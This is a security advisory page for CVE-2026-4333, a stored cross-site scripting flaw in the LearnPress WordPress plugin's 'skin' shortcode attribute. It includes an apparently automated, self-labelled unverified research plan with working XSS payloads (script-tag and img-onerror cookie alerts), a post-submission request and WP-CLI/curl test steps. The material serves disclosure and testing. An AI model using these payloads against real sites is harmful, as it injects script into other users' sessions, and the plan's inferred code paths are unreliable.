CVE-2026-4333

LearnPress <= 4.3.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'skin' Shortcode Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
4.3.4
Patched in
1d
Time to patch

Description

The LearnPress – WordPress LMS Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'skin' attribute of the learn_press_courses shortcode in all versions up to and including 4.3.3. This is due to insufficient input sanitization and output escaping on the 'skin' shortcode attribute. The attribute value is used directly in an sprintf() call that generates HTML (class attribute and data-layout attribute) without any esc_attr() escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.3.3
PublishedApril 7, 2026
Last updatedApril 8, 2026
Affected pluginlearnpress

What Changed in the Fix

Changes introduced in v4.3.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to verify a Stored Cross-Site Scripting (XSS) vulnerability in the LearnPress plugin via the `skin` attribute of the `learn_press_courses` shortcode. ### 1. Vulnerability Summary The `learn_press_courses` shortcode in LearnPress <= 4.3.3 processes a `skin` attr…

Show full research plan

This research plan outlines the steps to verify a Stored Cross-Site Scripting (XSS) vulnerability in the LearnPress plugin via the skin attribute of the learn_press_courses shortcode.

1. Vulnerability Summary

The learn_press_courses shortcode in LearnPress <= 4.3.3 processes a skin attribute that is used to define the visual layout of the courses list. The plugin fails to sanitize or escape this attribute before including it in an sprintf() call that constructs the container HTML. Specifically, the value is injected into the class and data-layout attributes of a div element. Because shortcodes can be used by any user with edit_posts capability (Contributor level and above), an attacker can inject malicious HTML/JavaScript that will execute in the context of any user viewing the page.

2. Attack Vector Analysis

  • Shortcode: [learn_press_courses]
  • Vulnerable Attribute: skin
  • Authentication Level: Contributor or higher.
  • Storage Mechanism: Post/Page content (WP Database).
  • Execution Point: Frontend rendering of the post/page containing the shortcode.
  • Sink: An sprintf() call likely within the shortcode's rendering class or template.

3. Code Flow (Inferred)

Since the provided source files are only CSS, the following flow is inferred based on LearnPress 4.x architecture and the vulnerability description:

  1. Entry Point: A user with Contributor+ privileges saves a post containing: [learn_press_courses skin='"><script>alert(document.domain)</script>'].
  2. Shortcode Registration: The plugin registers the shortcode (likely in inc/class-lp-shortcodes.php) using add_shortcode( 'learn_press_courses', ... ).
  3. Shortcode Processing: When the post is viewed, WordPress calls the shortcode handler (likely LP_Shortcode_Courses::render() or similar in inc/shortcodes/class-lp-shortcode-courses.php).
  4. Attribute Extraction: The $atts array is parsed. The skin attribute is extracted without sanitization (no sanitize_text_field or preg_replace).
  5. Vulnerable Sink: The code uses sprintf() to generate HTML:
    // Inferred vulnerable logic
    $skin = $atts['skin'] ?? 'default';
    $html = sprintf( '<div class="lp-courses %s" data-layout="%s">', $skin, $skin ); 
    echo $html;
    
  6. Output: The unescaped skin value breaks out of the class attribute, injecting a new tag into the DOM.

4. Nonce Acquisition Strategy

This vulnerability involves Stored XSS within a shortcode. Nonces are generally not required to trigger the XSS during page viewing. However, a nonce is required to save the post as a Contributor.

  • Action for saving post: editpost
  • Nonce variable: _wpnonce
  • Acquisition:
    1. Login as a Contributor.
    2. Navigate to the Post Editor (wp-admin/post-new.php).
    3. Extract the nonce from the #_wpnonce hidden input field or the wp-admin heartbeats.
    4. Alternatively, use WP-CLI to create the post directly, which bypasses the need for manual nonce handling during the "storage" phase.

5. Exploitation Strategy

The goal is to store a payload that executes when an administrator views the post.

Step 1: Authenticate as Contributor
Login to the WordPress instance with contributor-level credentials.

Step 2: Create a Post with the Malicious Shortcode
Use the http_request tool to simulate saving a post.

  • URL: http://localhost:8080/wp-admin/post.php (for existing post) or post-new.php
  • Method: POST
  • Parameters:
    • action: editpost
    • post_ID: (The ID of the post being edited)
    • post_content: [learn_press_courses skin='"><script>alert("XSS")</script>']
    • _wpnonce: (Acquired from the editor page)
    • post_status: publish (or pending if contributor)

Note: It is more efficient to use WP-CLI to create the data if the environment allows it.

Step 3: Access the Post
As an administrator (or any user), navigate to the URL of the created post.

Step 4: Verify Execution
The browser should execute alert("XSS").

6. Test Data Setup

  1. User: Create a user with the contributor role.
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
    
  2. Course Content: LearnPress shortcodes often require at least one course to exist to render the container.
    wp post create --post_type=lp_course --post_title="Test Course" --post_status=publish
    

7. Expected Results

The HTML source code of the rendered page should contain:

<div class="lp-courses "><script>alert("XSS")</script>" data-layout=""><script>alert("XSS")</script>">

The browser will parse the "><script>... part, resulting in the script executing immediately.

8. Verification Steps

After the http_request is sent, verify the content via WP-CLI:

# Check if the shortcode was stored correctly
wp post get [POST_ID] --field=post_content

# Check the frontend output
curl -s http://localhost:8080/?p=[POST_ID] | grep -C 5 "alert(\"XSS\")"

9. Alternative Approaches

If the sprintf is used inside a JSON-localized variable rather than direct HTML:

  1. Payload: skin='test"}]};alert(1);/*'
  2. Reasoning: This would attempt to break out of a JSON structure in a script tag if the skin attribute was passed to wp_localize_script improperly.

If the shortcode requires courses to be present to execute the vulnerable line:

  1. Ensure at least one published course exists.
  2. Add limit='1' to the shortcode to ensure processing occurs quickly.
  3. Payload: [learn_press_courses skin='"><img src=x onerror=alert(document.cookie)>' limit='1'] (using img tag as a fallback for script filters).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.